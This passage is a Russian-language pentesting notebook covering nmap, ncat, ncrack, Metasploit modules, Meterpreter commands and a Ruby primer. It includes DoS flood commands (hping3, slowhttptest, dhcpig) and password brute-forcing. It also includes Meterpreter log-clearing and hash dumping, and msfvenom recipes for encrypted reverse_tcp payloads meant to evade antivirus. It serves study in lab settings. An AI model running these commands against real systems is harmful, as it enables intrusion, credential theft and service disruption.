отдельный пул **Открытые порты** Без параметров, только адрес. По умолчанию сканирует 1024 первых порта. Статусы портов:
OpenСервис доступен
ClosedЗапросы были получены, но был сделан вывод, что на этом порту не запущена служба.
FilteredНе было признаков того, что запросы были получены, и состояние не удалось установить. Это также указывает на то, что запросы отбрасываются в результате какой-либо фильтрации.
UnfilteredЗапросы были получены, но состояние не удалось установить. Это состояние возможно только при ACK сканировании.
Open/FilteredЗапросы отфильтрованы или порт открыт, но не удалось установить состояние.
Close/FilteredЗапросы отфильтрованы или порт закрыт, и не удалось установить состояние.
Последовательность задач при сканировании портов: - Преобразование DNS имени в IP. Можно указать альтернативный dns сервер. ``` nmap --dns-servers 8.8.8.8,8.8.4.4 scanme.nmap.org ``` - Проверка, поднят ли хост. Чтобы пропустить: ``` nmap -Pn scanme.nmap.org ``` - Обратное преобразование IP в DNS. Чтобы пропустить: ``` nmap -n scanme.nmap.org ``` - Затем SYN (привилегированный пользователь) или TCP connect (обычный пользователь) сканирование. SYN быстрее. Однако есть еще способы сканирования портов. Диапазоны портов:
--top-ports NЗаданное количество портов по рейтингу популярности.
nmap -p80,443 localhostЯвный список портов
nmap -p1-100 localhostДиапазон
nmap -p- localhostВсе порты
nmap -pT:25,U:53 <target>Порты с протоколом
nmap -p smtp <target>По имени сервиса
nmap -p smtp\* <target>По шаблону имени сервиса
nmap -p\[1-65535\] <target>Только порты, указанные в nmap в виде сервиса
**Определение типа сервиса и версии** За счет базы данных "отпечатков" сервисов и ОС. Отправляются пробники, определенные в nmap-service-probes, в список предполагаемых открытых портов. Пробники выбираются в зависимости от того, насколько вероятно, что они могут быть использованы для идентификации службы.
nmap -sV <target>Версии сервисов
nmap -sV --version-intensity 9 <target>Уровень интенсивности поиска, 0-9
nmap -O <target>Версия ОС. В привилегированном режиме.
nmap -O --osscan-guess <target>Попытка угадать ОС
nmap -O --osscan-limit <target>Вывод информации об ОС только а случае абсолютной уверенности
nmap -O -v 192.168.0.1Расширенная информация об ОС
"Отпечатки" могут настраиваться для улучшения производительности. **Дополнительные утилиты** **nping** модификация ping пакетов. Мощный инструмент для тестирования фаерволов.
--icmpтип пакета
-c 1количество пакетов
--icmp-type 0 --icmp-code 0тип и код пакета
--source-ip 192.168.0.5 --dest-ip 192.168.0.10источник и приемник
--icmp-id 520идентификатор
--icmp-seq 0номер пакета
--data-string 'ping'данные внутри
**Zenmap** графическая утилита, удобно хранить настройки параметров nmap **ncat** Выполнение внешних команд различными способами после успешного установления соединения. Одним из способов является использование Lua-скриптов, которые действуют как программы и позволяют пользователям выполнять любые задачи. ``` ncat --lua-exec --listen 80 ``` \--sh-exec выполняет консольные команды **Ncrack** взлом простых паролей <\[service-name\]>://<target>:<\[port-number\]> ncrack ssh://<target>:<port>
-Uфайлы логинов
-Pфайлы паролей
ncrack --save cracking-session <\[service-name\]>://<target>:<\[port-number\]>сохранить незавершенный процесс
ncrack --resume cracking-session <\[service-name\]>://<target>:<\[port-number\]>продолжить
**Rainmap Lite** запуск сканирования из браузера # NMAP Script Engine (NSE) Расширение функционала за счет LUA скриптов. Запуск всех скриптов в соответствии с правилами внутри: ``` nmap -sC ``` **Размещение скриптов** /usr/share/nmap/scripts Можно вывести названия скриптов командой ``` ls /usr/share/nmap/scripts/ ``` **Типы скриптов** Количество выполняемых скриптов зависит от правил хоста или порта для этих скриптов.
authСкрипты, связанные с авторизацией пользователя
broadcastШироковещательные запросы
bruteБрутфорс паролей
defaultСкрипты, выполняемые по умолчанию
discoveryПоиск хостов и сервисов
dosАтака dos
exploitСкрипты, использующие уязвимости для атаки
externalЗависящие от каких-либо сервисов
fuzzerГенераторы случайных последовательностей
intrusiveМогут уронить или сгенерировать большой сетевой трафик
malwareСкрипты, связанные с обнаружением вредоносных программ
safeБезопасные
versionОпределение версий
vulnСкрипты, связанные с уязвимостями в системе безопасности
Некоторые скрипты требуют настройки.
nmap --script script\_name <target>запуск определенного скрипта. Имя скрипта или путь к папке с расширениями
nmap --script http-title --script-args http.useragent="Mozilla 999" <target>--script-args настраивает параметры скрипта
nmap -sV --script vuln <target> nmap -sV --script="version,discovery" <target> Определенная категория
nmap -sV --script "not exploit" <target>Исключая категорию
nmap -sV --script "(http-\*) and not(http-slowloris or http-brute)" <target>
**Трассировка выполнения скрипта**
nmap -sC --script-trace <target>Простая трассировка
-d\[1-9\]Увеличение уровня выводимых сообщений
**Добавление нового скрипта:** - скопировать скрипт в /scripts в директории установки nmap - обновить базу ``` nmap --script-updatedb ``` Либо указать путь напрямую ``` nmap --script /root/loot/nonofficial.nse ``` [Библиотека скриптов вне основной поставки](https://secwiki.org/w/Nmap/External_Script_Library) **Скрипты в поставке** **Броадкастовые скрипты**
broadcast-avahi-dosИщет хосты через DNS service discovery protocol и отправляет NULL UDP пакеты каждому найденному для проверки возможности DOS
broadcast-db2-discoverИщет DB2 серверы через запрос на 523/udp
broadcast-dhcp-discoverПоиск DHCP сервера с использованием статического адреса DE:AD:CO:DE:CA:FE
broadcast-dns-service-discoveryПоиск DNS серверов через DNS-SD запросы
broadcast-dropbox-listenerПрослушивает сеть и ждет бродкастов от dropbox клиентов (раз в 20 секунд запросы)
broadcast-listenerПрослушивает сеть и ждет бродкасты. Пытается разобрать и вытащить данные.
broadcast-ms-sql-discoverПоиск Microsoft SQL серверов
broadcast-novell-locateПоиск NCP серверов
broadcast-pingБродкастовый пинг с выводом IP и MAC Нужны привилегии.
broadcast-netbios-master-browserПоиск NetBios доменов
broadcast-rip-discoverОтправляет RIPv2 запросы и определяет хосты на которых это крутится
broadcast-upnp-infoПоиск UPnP хостов
broadcast-wsdd-discoverПоиск хостов с поддержкой WS-Discovery протокола. Также определяет WCF (.NET 4.0+).
lltd-discoveryИспользует Microsoft LLTD протокол для поиска хостов
targets-snifferСлушает сеть 10 секунд и выводит найденные адреса
# SMB VNC SMTP **Samba** Есть модуль ```plaintext auxiliary/scanner/smb/smb_login ``` Позволяет перебирать пароли для подсети. Можно перебирать один пароль или все пароли из таблицы creds. **VNC scanner** Позволяет искать VNC серверы без авторизации в подсети. ```plaintext auxiliary/scanner/vnc/vnc_none_auth ``` **SMTP** Модуль auxiliary/scanner/smtp/smtp\_enum проверяет версию сервера и пытается использовать список логинов и паролей для авторизации. **SSH** auxiliary/scanner/ssh/ssh\_enumusers берет список имен пользователей и проверяет, есть ли такие пользователи. Низкая вероятность корректной работы. ssh\_version detect\_kippo Определяет, является ли это настоящим ssh сервером или сервисом поиска нарушителей. **RDP** Проверка на уязвимость use auxiliary/scanner/rdp/ms12\_020\_check # Прослушивание паролей ``` msf > use auxiliary/sniffer/psnuffle msf auxiliary(psnuffle) > run ``` Работает из коробки, без доп. настроек. Пассивное ожидание паролей. # DOS **DOS общего назначения** sudo hping3 --flood -S -p 80 192.168.86.1
-SSYN пакет
Скорость генерации пакетов
-i --interval --fast псевдоним -i u10000 --faster псевдоним -i u1000 --floodожидание (uX это X микросекунд, -i u1000). flood максимально возможная скорость генерации пакетов.
Целевая система
\[IP\] или \[HOST\]
-p \[PORT\]
--rand-sourceгенерится случайный источник
LAND атака: sudo hping3 -S -p 80 192.168.1.1 -a 192.168.1.1 inviteflood DOS VoIP протокола sudo inviteflood eth0 kilroy dummy.com 192.168.86.238 150000 t50 192.168.1.1 --protocol IGMPv1 --flood -B **DOS web сервера** Slowloris: удержание большого количества открытых соединений с веб-сервером. Вместо переполнения инструмент атаки поддерживает соединение с сервером открытым, отправляя небольшие объемы данных на протяжении длительного времени. Apache Killer: отправка байтов в виде перекрывающихся фрагментов. В ходе безуспешных попыток собрать эти фрагменты воедино веб-сервер исчерпывает всю доступную память. slowhttptest реализовывает четыре HTTP-атаки: Slowloris (илиSlow Headers), атаку R-U-Dead-Yet (или Slow Body), атаку Apache Killer (или атака с помощью заголовка Range) и атаку Slow Read. ``` slowhttptest -H -u http://192.168.1.15 ``` **Атаки на DHCP** Протокол DHCP предусматривает тестовую программу под названием DHCPig, которая представляет собой еще одну атаку, направленную на исчерпание ресурсов DHCP-сервера. На практике атака может использоваться для получения контроля над сетевым трафиком. В ходе этой атаки злоумышленник расходует весь пул доступных IP-адресов и в то же время запускает собственный DHCP-сервер, который может перенаправлять трафик системы на контролируемый им же DNS-сервер. ``` sudo dhcpig -l eth0 ``` **Scapy** Интересный пакет для генерации пакетов. Можно как генерировать сырые пакеты, так и подгружать слои настройки и настраивать отдельно. # Metasploit # Общая информация [Бесплатный курс от разработчика MSF](https://www.offsec.com/metasploit-unleashed/introduction/) Для обучения предлагается использовать [metasploitable](https://sourceforge.net/projects/metasploitable/files/Metasploitable2/) - виртуальную машину с набором уязвимостей. Дополнительные инструменты для работы: - nessus для поиска возможных уязвимостей - nmap для сетевого сканирования - w3af сканер уязвимостей web приложений - Armitage фреймворк автоматизации атак, использующий MSF в качестве backend **Структура фреймворка:** [![изображение.png](http://bobrobotirk.ru/uploads/images/gallery/2025-10/scaled-1680-/izobrazenie.png)](http://bobrobotirk.ru/uploads/images/gallery/2025-10/izobrazenie.png) В Kali обычно установлен в /usr/share/metasploit-framework Модули расположены в директории modules, плагины - в plugins. **Auxiliaries:** небольшие вспомогательные утилиты. Более 1000. **Payloads:** нагрузка. Singles (однократная)- все в одном. Контейнер, содержащий все что нужно. Недостаток - размер. Stagers (минимальная) - только поднимает соединение, больше ничего нет. Stages - скачиваемый код после установки соединения. **Exploits:** более 2500, в 19 категорий. Для выбора необходимо знать операционную систему (включая точную версию и архитектуру), открытые порты, сервисы (включая версии). **Encoders:** обфускация кода. Около 10 категорий. **NOP:** отсутствие команды. Модифицирует эксплоит для снижения вероятности обнаружения **Post:** модули дальнейших действий после взлома системы. **Evasion:** большинство нагрузок и шелл-кодов определяются антивирусом. Этот модуль для дополнительной модификации. **Команды** **Общие команды**
connect ip:portПробное соединение
routeУправление маршрутами.
saveСохраняет установленные параметры
**Работа с модулями**
search <sometext> Поиск эксплойта по имени. Поддерживает регулярки. Можно комбинировать несколько, по И правилу. ``` search apache struts2 showcase ``` Можно ограничить поиск по именам модуля ``` msf > search name:mysql ``` Возможные ограничения: - name - имя модуля - type - тип модуля
use <path>Перейти в модуль. Например, модуль сканирования портов: ``` msf > use auxiliary/scanner/portscan/tcp ```
infoИнформация об эксплойте
show optionsПоказать требуемые данному модулю параметры.
set <parameter> / unsetУстанавливает локальное значение параметра / Убирает
get <parameter>Вывести параметр
getgВывести глобальное значение параметра
setgУстанавливает глобальное значение параметра
run!Если это модуль! Запускает модуль с установленными параметрами
checkПроверка настроек
exploit!Если это эксплоит! Запуск эксплойта
backВернуться назад
**История и команды**
spooloff отключает логгирование результатов в файл filepath включает логгирование в файл
makercСохраняет вводимые команды. Аналогично spool
**Функционал:** - Управление задачами. jobs, kill - Управление сессиями **Дополнительные утилиты**
msf-exe2vbsКонвертирует exe в VBScript
msf-exe2vbaМожно выполнить даже в Excel
msf-pdf2xdpPdf в xdp
msf-pattern\_createБыстрое создание паттернов
msf-virustotalПроверка зловреда на virustotal
# Управление данными **База данных** В Kali запускаем postgresql и инициализируем базу данных. Создадутся базы msf и msf\_test. ```bash root@kali:~# systemctl start postgresql root@kali:~# msfdb init ``` **Управление данными**
db\_statusСтатус соединения с базой
db\_connectПодключиться к бд. Без параметров - к локальной. Может быть удаленная ``` db_connect @/ ```
db\_disconnectОтключение
db\_export -f <format> \[filename\]Сохранение данных в файл. Формат xml или pwdump
db\_import file1 \[file2...\]Импорт данных из файла. Может быть импорт в виде \*.xml, или \*\*/\*.xml
db\_rebuild\_cacheПересчет кэша
**Рабочее пространство.** Способ организации хранения связанных данных.
workspaceСписок пространств. \* текущее.
workspace -aСоздать новое
workspace <name>Переключиться на рабочее пространство name
workspace -dУдалить
**Таблицы**
hostsОбнаруженные хосты. IP-адрес, MAC-адрес, имя хоста, ОС, состояние, комментарии
servicesСетевые сервисы. Порт, протокол (TCP/UDP), состояние (open/closed), имя сервиса, версия
vulnsУязвимости. Название, описание, ссылки, критичность, доказательства
notesДополнительная информация о хостах и сервисах. Содержит Различные данные (учетные записи, собранная информация)
lootИзвлеченные данные. Содержит: Хеши паролей, конфигурационные файлы, личные данные
credsУчетные данные для аутентификации. Содержит: Логины, пароли, хеши, тип аутентификации
workspacesРазделение проектов/задач
clientsКлиентские системы. Содержит: Данные о браузерах, пользовательских агентах
eventsСобытия. Содержит: Действия, выполняемые в рамках тестирования
exploited\_hostsУспешные эксплуатации. Содержит: Данные о взломанных системах
sessionsОткрытые сессии. Содержит: Активные соединения с скомпрометированными системами
web\_sitesВеб-сайты. Содержит: URL, виртуальные хосты, SSL-информация
web\_pagesВеб-страницы. Содержимое страниц, формы, ссылки
web\_formsHTML-формы. Поля форм, методы отправки
web\_vulnsXSS, SQLi, и другие веб-уязвимости
**Ручное добавление данных:** сначала создать объект, затем модифицировать его. ```bash msf > hosts -a 192.168.0.1 msf > hosts 192.168.0.1 -m "first node" msf > hosts Hosts ===== address mac name os_name os_flavor os_sp purpose info comments ------- --- ---- ------- --------- ----- ------- ---- -------- 192.168.0.1 first node ``` Как я понял, ручное добавление нечасто используется. **Фильтрация** Ключ -S <term> Например ``` msf > hosts -S 0.1 Hosts ===== address mac name os_name os_flavor os_sp purpose info comments ------- --- ---- ------- --------- ----- ------- ---- -------- 192.168.0.1 first node ``` При фильтрации важно указывать колонки -c поскольку поиск полнотекстовый. **Использование данных** В свойствах таблицы есть параметр, который можно использовать в инструментах/... Например, в таблице hosts есть параметр RHOSTS. ``` msf > hosts -h ... OPTIONS: ... -R, --rhosts Set RHOSTS from the results of the search ... ``` Это означает, что в случае использования в инструментах параметра RHOSTS его можно заполнить данными из БД. Пример запуска инструмента для хостов, отфильтрованных по 127. Параметр -R добавляет данные в параметр RHOSTS. ``` msf > hosts Hosts ===== address mac name os_name os_flavor os_sp purpose info comments ------- --- ---- ------- --------- ----- ------- ---- -------- 127.0.0.1 192.168.0.1 first node msf > use auxiliary/scanner/portscan/tcp msf auxiliary(scanner/portscan/tcp) > show options Module options (auxiliary/scanner/portscan/tcp): Name Current Setting Required Description ---- --------------- -------- ----------- CONCURRENCY 10 yes The number of concurrent ports to check per host DELAY 0 yes The delay between connections, per thread, in milliseconds JITTER 0 yes The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds. PORTS 22 yes Ports to scan (e.g. 22-25,80,110-900) RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html THREADS 1 yes The number of concurrent threads (max one per host) TIMEOUT 1000 yes The socket connect timeout in milliseconds msf auxiliary(scanner/portscan/tcp) > hosts -c address -S 127 -R Hosts ===== address ------- 127.0.0.1 RHOSTS => 127.0.0.1 msf auxiliary(scanner/portscan/tcp) > show options Module options (auxiliary/scanner/portscan/tcp): Name Current Setting Required Description ---- --------------- -------- ----------- CONCURRENCY 10 yes The number of concurrent ports to check per host DELAY 0 yes The delay between connections, per thread, in milliseconds JITTER 0 yes The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds. PORTS 22 yes Ports to scan (e.g. 22-25,80,110-900) RHOSTS 127.0.0.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html THREADS 1 yes The number of concurrent threads (max one per host) TIMEOUT 1000 yes The socket connect timeout in milliseconds View the full module info with the info, or info -d command. msf auxiliary(scanner/portscan/tcp) > run [*] 127.0.0.1 - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed ``` **Сохранение данных в CSV** ``` msf > hosts -S Linux -o /root/msfu/linux.csv ``` **Архивация и восстановление данных** Архив: ``` # В msfconsole db_export -f xml full_backup.xml # или db_export -f json full_backup.json ``` Восстановление: ``` db_import full_backup.xml ``` # Exploits Книга Metasploit: The Penetration Tester's Guide Эксплоит — программа, эксплуатирующая уязвимости в системе. Примеры эксплоитов для модификации в разделе documentation/samples/modules/exploits/ Есть скрипт auto\_pwn для автоматического поиска эксплойтов для существующих в базе хостов и известных служб. # Payloads Проверять на [https://virustotal.com](https://virustotal.com) Нагрузка (payload) — часть эксплойта, выполняющаяся после успешной эксплуатации уязвимости. Типы нагрузок: - одиночные (Singles) - комплексные (Stagers) - поэтапные (Stages) Например, windows/shell\_bind\_tcp представляет собой единую полезную нагрузку без этапа, тогда как windows/shell/bind\_tcp состоит из этапа (bind\_tcp) и этапа (shell). **Генерация полезной нагрузки** Переходим в payload. Генерация командой generate. Опции:
-EУскоренное кодирование
-bСписок символов для исключения '\\x00\\xff'. Например ``` msf payload(shell_bind_tcp) > generate -b '\x00' ``` При большом наборе исключаемых символов возможна ошибка "Payload generation failed: No encoders encoded the buffer successfully.". Это означает, что не найден энкодер для данного набора.
-eЭнкодер По умолчанию происходит автоматический поиск наиболее подходящего энкодера. Выбор зависит от списка символов для исключения.
-iКоличество итераций энкодера.
-oРазделенные запятыми параметры в виде парам=знач
-pПлатформа
-sКоличество добавляемых NOP
-fИмя файла. По умолчанию вывод в консоль.
-tФормат выходного файла: raw,ruby,rb,perl,pl,c,js\_be,js\_le,java,dll,exe,exe-small,elf,macho,vba,vbs,loop-vbs,asp,war
-xШаблон используемого исполняемого файла
-kСохранять функциональность используемого шаблона
# Meterpreter Динамически расширяемая нагрузка, использующая инъекцию в dll в памяти. Работает через сокет. Алгоритм работы: - Целевая машина запускает начальную нагрузку (bind, reverse, findtag, passivex, и т д) - Начальная нагрузка загружает dll, с префиксом Reflective. - Инициализируется ядро Meterpreter, создается TLS соединение и скачивается конфигурация клиента. - Обычно загружается stdapi, остальное в зависимости от задачи. Особенности: - Работает только в памяти, на диск ничего не пишет - Новые процессы не запускаются, инъекция в существующие скомпроментированные процессы с возможностью миграции из процесса в процесс - Шифрованное взаимодействие - Динамическое расширение функционала без необходимости сборки **Консоль meterpreter** Отдельная консоль для управления скомпроментированной системой. Команды: **Управление и исполнение файлов**
catОтображение файла
cd, pwdПереход и отображение текущей папки
executeВыполнить команду на системе
downloadСкачивает файл с скомпроментированной машины
uploadЗакачивает файл на удаленную машину
editРедактирование файла на
lpwd, lcdОтображение и смена рабочей директории
lsСписок файлов и директорий
searchпоиск файлов
**Сессия и система**
backgroundПеревод сессии в фон и возврат в консоль MSF. Для восстановления нужно подключиться к сессии ``` msf>sessions -i 1 ```
ipconfigКонфигурация сети
idletimeВремя работы системы
migrateМигрировать на другой процесс
psСписок процессов
shellУдаленная консоль
**Windows-специфические команды**
hashdumpДамп базы паролей Windows
clearevОчистка логов журналов Application, System, and Security на Windows
**Web камера**
webcam\_listСписок web камер
webcam\_snapФото с камеры
**Интерпретатор python**
load\_pythonЗагрузить интерпретатор
python\_importИмпортировать модуль
python\_executeВыполнить скрипт
python\_resetСброс интерпретатора
# Автоматизация MSF **Ресурсные скрипты** Аналог bash скриптов для msf. Текстовые файлы с расширением rc, выполняются консолью msf построчно. Можно создать скрипт из введенных команд Запуск Из существующего где-то файла: ``` msfconsole -r /path/to/script/attack.rc param1 param2 ``` Их скрипты размещаются в /usr/share/metasploit-framework/scripts/resource ``` msf > resource /path/to/script param1 param 2 ``` Можно сохранить последние введенные команды. ! ~ не работает, нужен полный путь ! ``` msf > makerc /home/kali/lessons_ruby/myscript.rc ``` makerc запоминает, какие команды уже были сохранены. Поэтому если сразу же повторить предыдущую команду, то будет сообщение \[-\] No commands to save! Добавление Ruby В данные скрипты можно добавлять скрипты на Ruby: ```ruby workspace -a http_title db_nmap -Pn -T4 -n -v -p 80 --open 192.168.33.0/24 use auxiliary/scanner/http/title run_single("set RHOSTS #{framework.db.hosts.map(&:address).join(' ')}") run ``` Скрипты расположены в /usr/share/metasploit-framework/scripts/resource **Вариант для python:** ``` pip install pymetasploit3 ``` Пример скрипта: ```python from pymetasploit3.msfrpc import MsfRpcClient client = MsfRpcClient('your_password', port=55553) # Запуск сканирования scan = client.modules.use('auxiliary', 'scanner/portscan/tcp') scan['RHOSTS'] = '192.168.1.1-100' scan['PORTS'] = '1-1000' scan['THREADS'] = '20' result = scan.execute() print(result) # Получение результатов из БД for host in client.db.hosts(): print(f"Host: {host['address']}") for service in client.db.services(host['address']): print(f" Port: {service['port']}/{service['proto']} - {service['state']}") ``` # Ruby Установка: apt install ruby-full rbenv - Все объекты. Без аргументов функция не требует наличия скобок. Доступа к свойствам объекта нет, через методы. Динамическое типизирование. ``` 1.class # Выводит класс объекта, в данном случае Fixnum ``` **Типы данных** Целые числа
3.times {print "r"}повтор действия 3 раза
1.upto(9) { |x| print x } вывод 123456789
**Строки.** Одинарные кавычки - все символы, в двойных можно подставлять значения. Многострочный текст ``` message = <<~TEXT   This is a multi-line string   that preserves formatting   in a tidy way. TEXT ``` Есть символы (Symbols) - строки, но фиксированные. Начинаются с :. Например :fucktheruby. Используются в ключах словарей для быстрого доступа. **Массивы** (аналог списков python) a\[1\] - обращение к 1 элементу массива. ``` a = [3, 2, 1] a.each do |elt| print elt + 1 end ```
a.eachДля каждого элемента
a,map {}Изменение массива по правилам. ``` b = a.map { |x| x*x } # Возведение в квадрат каждого элемента ```
a.selectвыбор элементов в соответствии с правилами. ``` b = a.select { |x| x%2==0 } ```
**Хэши** Аналог словарей в python. ```ruby h = { :one => 1, :two => 2 } h[:one] h.each do |key, value| print "#{value} у ключа #{key} " # выведет 1 у ключа one 2 у ключа two end instrument_section = { "cello" => "string", "clarinet" => "woodwind", "drum" => "percussion", "oboe" => "woodwind", "trumpet" => "brass", "violin" => "string" } Блядь, если использовать такой синтаксис, то оно создаст ключ Symbol. instrument_section = { cello: "string" } x = instrument_section[:cello] ``` **Методы**
print puts Вывод значений
ARGV\[0\] Первый аргумент при вызове скрипта
**Операторы** ```ruby x = 1 x, y = 1, 2 x += 1 1..3 # набор значений от 1 до 3 1...3 # набор значений от 1 до 2 generation = case birthyear when 1946..1963: "Поколение 1" else nil end # Регулярки def areyoushure? while true print "Вы уверены" response = gets case response when /^[Yy]/ return true when /^Nn/, /^$/ return false end end end line = gets if line =~ /Ruby|Rust/ puts "Programming language mentioned: #{line}" end line = gets if line.match?(/Ruby|Rust/) puts "Scripting language mentioned: #{line}" end line = gets newline = line.sub(/Python/, 'Ruby') # replace first 'Python' with 'Ruby' newerline = line.gsub(/Python/, 'Ruby') # replace every 'Python' with 'Ruby' ``` Условные операторы ```ruby today = Time.now if today.saturday? puts "Do chores around the house" elsif today.sunday? puts "Relax" else puts "Go to work" end puts "Danger, Will Robinson" if radiation > 3000 ``` Блоки. Без комментариев. Являются аргументами для методов. ```ruby def call_block puts "Start of method" yield yield puts "End of method" end call_block { puts "In the block" } Выведет: Start of method In the block In the block End of method ``` В | | передаются параметры блока. Например ``` def who_says_what yield("Dave", "hello") yield("Andy", "goodbye") end who_says_what { |person, phrase| puts "#{person} says #{phrase}" } ``` Похоже **Классы** Все классы расширяемы внутри приложения. Термин Instance = Object .new Конструктор объекта. Методы (функции) Если это вне класса, то глобальная функция. Возвращает последнее вычисляемое значение. ``` def square(x) x*x end def multireturn x, y = 1,2 [x, y] end ``` Если метода нет, вызывается специальный метод method\_missing. По умолчанию исключение. Его можно переопределить. ```ruby class Greeting def method_missing(name, *args) "Привет из #{name}" end def respond_to_missing?(name, include_private = false) true end end g = Greeting.new g.respond_to?(:hello) # => true puts g.hello # => "Привет из hello" ``` **Префиксы и постфиксы.** Вроде упрощает язык, но походу хуета на уровне выебнуться. Отказались от одного, ввели другое. Имена классов, модулей и констант с большой буквы. Локальные переменные, параметры методов и имена методов только с маленькой буквы. Глобальные переменные - префикс $. переменные объекта - @, переменные класса - @@ Если имя метода заканчивается на равно, то можно использовать синтаксис ``` # некий класс, в котором есть метод x= и нужно туда передать значение 1 o.x=(1) # как оно обычно вызывается o.x = 1 # так тоже можно. Типа крутая фича. Закрыли свойства, зато сделали ЭТО ``` На знак вопроса - возвращается только булево значение На восклицательный знак - метод меняет объект. Например метод .sort массива возвращает отсортированный массив, тогда как метод .sort! сортирует существующий объект. **Синглтоны** - методы, добавляемые к существующему классу или единичному объекту. (Ебанутая херня, хотя позиционируется как ключевая). ```ruby def Math.square(x) x*x end ``` Описание класса Пример класса, создающего элементы с шагом. ```ruby class Sequence include Enumerable def initialize(from, to, delta) @from, @to, @delta = from, to, delta end def each x = @from while x <= @to yield x x += @delta end end def length return 0 if @from > @to Integer((@to - @from)/@delta) + 1) end alias size length # алиас на метод size def [](index) # переопределение метода получения доступа к элементам массива return nil if index < 0 v = @from + index * @delta if v <= @to v else nil end end def *(factor) # переопределение операции умножения над объектом Sequence.new(@from*factor, @to*factor, @delta*factor) end ``` **Модули** Набор функций. ```ruby module Sequence def self.fromtoby(from, to, delta) x = from while x <= by yield x x += delta end end end ``` # MSFvenom & nasm [Offensive Shellcode from Scratch: Get to grips with shellcode countermeasures and discover how to bypass them](http://onreader.mdl.ru/OffensiveShellcodeScratch/content/index.html#Preface) Консоль nasm служит для получения opcode для команд. **MSFvenom** Инструмент для генерации shellcode, исполняемых файлов, и т д, для использования эксплойтов снаружи msf. Основной элемент настройки - payload поэтому около него все крутится. **Энкодер.** MSFvenom берёт исходный payload и пропускает его через encoder, который меняет последовательность байтов, но добавляет в начало декодер — небольшой фрагмент кода, который при запуске восстанавливает исходный шеллкод в памяти и выполняет его. x86/shikata\_ga\_nai - часто используемый, универсальный энкодер. **Шифрование нагрузки.** Полученный payload шифруется (scramble) побайтно. В результат добавляется декриптор/загрузчик, который при запуске расшифровывает payload в памяти и затем выполняет его. Отличие от энкодеров: - Энкодер полиморфно преобразует байты (обычно XOR-подобные трансформации, shikata\_ga\_nai и т. п.), задача — убрать «плохие байты» и усложнить статический анализ. - --encrypt использует криптографические алгоритмы (напр., AES, RC4, Base64), и обычно даёт лучшее сопротивление простому статическому сканированию. ``` # пример: зашифровать RC4 и задать ключ msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 \   --encrypt rc4 --encrypt-key 'mysecretkey' -f exe -o payload.exe # пример AES (названия алгоритмов зависят от версии msfvenom) msfvenom -p ... --encrypt aes256 --encrypt-key '32_byte_key_here' -f raw -o out.bin ``` Важные нюансы и ограничения - Не все форматы/пейлоады поддерживают шифрование одинаково. В некоторых версиях/для некоторых платформ --encrypt может не влиять на итог (или работать только для Windows/PE). Нужно проверять отдельно. - Нужен ключ, без ключа шифрование бессмысленно - Декриптор тоже должен удовлетворять --bad-chars — декодер/декриптор добавляет байты, которые тоже не должны содержать запрещённые символы. - Шифрование помогает против простых сигнатур, но поведенческий анализ/динамический анализ всё ещё могут детектировать payload. - Стадированные vs безстадированные payload'ы. Поведение может отличаться для staged/stageless payload’ов: в некоторых случаях шифрование применяется только на одной стадии. Проверяй результат (хеш/размер/поведение). Проверка - Сравни MD5/sha256 до и после — если шифрование активно, хеши и байты файла должны измениться. - Посмотри вывод msfvenom — он обычно указывает, что применялось шифрование/декодер и итоговый размер. - Тестируй в изолированной среде (виртуалка), чтобы убедиться, что декодер корректно восстанавливает payload и он выполняется. Шифрование и кодирование может применяться вместе. ``` msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 \ -e x86/shikata_ga_nai -i 3 \ --encrypt rc4 --encrypt-key 'mysecret' \ -b '\x00\x0a\x0d' -f exe -o payload.exe ```
**Просмотр информации**
-l, --list <type>Список модулей указанного типа. Варианты типов: payloads, encoders, nops, platforms, archs, encrypt, formats, all ``` msfvenom -l platforms # список платформ под которые что-то есть ``` Можно дополнительно фильтровать по свойствам: \--platform платформа \--arch архитектура ``` msfvenom -l payloads --platform bsd --arch x86 ```
--list-optionsСписок опций для данной нагрузки. ``` msfvenom --payload bsd/x86/metsvc_bind_tcp --list-options ```
**Настройка нагрузки**
-p, --payload <payload>Нагрузка для использования
-t, --timeout <second>Сколько секунд инструмент будет ждать при чтении полезной нагрузки (payload) из STDIN. ``` cat payload.bin | msfvenom -p - -t 10 -f raw -o out.bin ``` То есть, можно взять свой бинарный файл и его например закодировать. 0 - бесконечно (ждем сколько надо).
-s, --space <length>Максимальный размер результирующей нагрузки.
**Настройка энкодера**
-e, --encoder <encoder>Используемый энкодер.
--encoder-space <length>Максимальный размер закодированной нагрузки, по умолчанию значение -s
--smallestСгенерировать минимально возможную по размеру нагрузку, используя все возможные encoders. Видимо не сочетается с -e.
-i, --iterations <count>Количество проходов энкодера
-b, --bad-chars <list>Набор байтов (символов), которые нужно избегать в сгенерированном shellcode. - Нуль-байт \\x00 и другие символы могут обрываться строковые функции в целевой программе (строка/буфер) — тогда шеллкод не выполнится. - Фильтры/функции ввода на стороне цели могут удалять или преобразовывать некоторые байты (например \\x0a — LF, \\x0d — CR). - Некоторые протоколы/форматы не допускают определённые байты (URL, текстовые поля, параметры командной строки и т.п.). Как указывать Примеры в bash: ``` msfvenom -p ... -b '\x00\x0a\x0d' -f raw -o payload.bin ``` Важно: экранирование зависит от оболочки (в PowerShell/Windows CMD нужно иное экранирование). В начало добавляется декодер-стаб (который тоже должен не содержать bad-chars), поэтому выбирается энкодер и/или увеличить число итераций (-i) чтобы получить корректный результат. Ограничения. - Не всегда возможно устранить все указанные байты: при строгом наборе запрещённых символов или при слишком большом payload'е msfvenom может не найти рабочую комбинацию — тогда появится ошибка или payload не соберётся. - --bad-chars применим к raw шеллкоду; при генерирации exe, apk и вставке payload в контейнерный формат, дополнительные байты могут появиться в заголовках/шаблоне — их тоже надо учитывать. - Ограничение увеличивает размер шеллкода и уменьшает количество доступных энкодеров. - Нельзя запретить «символы многобайтовой архитектуры» — вы указываете конкретные байты 0x00..0xff. Проверка результата ```python #!/usr/bin/python3 bad = {0x00, 0x0a, 0x0d} data = open('payload.bin','rb').read() found = sorted(set(b for b in data if b in bad)) print([hex(x) for x in found] or "No bad chars found") ``` Советы - Начинайте с минимального набора - Если msfvenom не справляется, пробуйте другой энкодер или комбинацию энкодеров/итераций (-i). - Для 